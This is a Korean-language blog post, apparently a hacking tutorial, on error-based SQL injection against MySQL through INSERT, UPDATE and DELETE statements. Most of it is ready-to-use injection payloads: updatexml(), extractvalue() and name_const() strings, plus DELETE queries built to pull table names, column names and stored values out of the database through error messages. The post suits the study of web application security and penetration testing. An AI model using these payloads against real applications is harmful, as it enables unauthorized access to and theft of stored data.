보통 기본적으로 SQL Injection이라고 하면 검색, 조회 하는 곳에서 진행을 하게 된다.
이러한 것들은 모두 SELECT 구문에서 진행이 되는 것이다.
하지만, 웹 어플리케이션에는 회원 관리, 게시글 관리 등에서 INSERT, UPDATE, DELETE 구문이 적지 않게 사용된다.
이러한 경우에도 사용자로부터 문자열을 입력받기 때문에 여기서 또한 SQLi가 발생될 수 있다.
이번에 참고한 자료에서 말하는 기법들은 응답에 MySQL의 에러가 노출된다는 가정하에 진행되었다.
참고자료 : https://www.exploit-db.com/docs/33253
1. Updatexml()을 사용한 Injection
※ input payload
' or updatexml(1,concat(0x7e,(version())),0) or '
(1) INSERT 구문
(2) UPDATE 구문
(3) DELETE 구문
1.1 데이터 추출
: 다음과 같이 중간에 SELECT 구문을 삽입하여 데이터베이스 내 정보를 추출할 수 있다.
- 추출 쿼리
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '';
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='[테이블명]' limit 0,1)),0) or '';
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat_ws(':',[column1],[column2],[column3]) FROM [테이블명] limit 0,1)),0) or '';
이후부터는 동일한 방식으로 문서가 진행되어 updatexml()와 같이 사용될 수 있는 함수의 리스트와 함께 input으로 넣을 payload를 나열하고 포스팅을 마치겠다.
2. extractvalue()을 이용한 Injection
or extractvalue(1,concat(0x7e,database())) or
3. name_const()을 이용한 Injection : MySQL 5.0.12부터 가능
or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
'Hacking > Web' 카테고리의 다른 글
SQL Injection and filter bypass (0) | 2020.04.01 |
---|---|
Non alphanumeric code in PHP (0) | 2020.03.09 |
[root-me] NoSQL injection - Blind (0) | 2020.03.05 |
[root-me] Local File Inclusion - Wrappers (0) | 2020.03.05 |
LDAP Injection (0) | 2020.03.04 |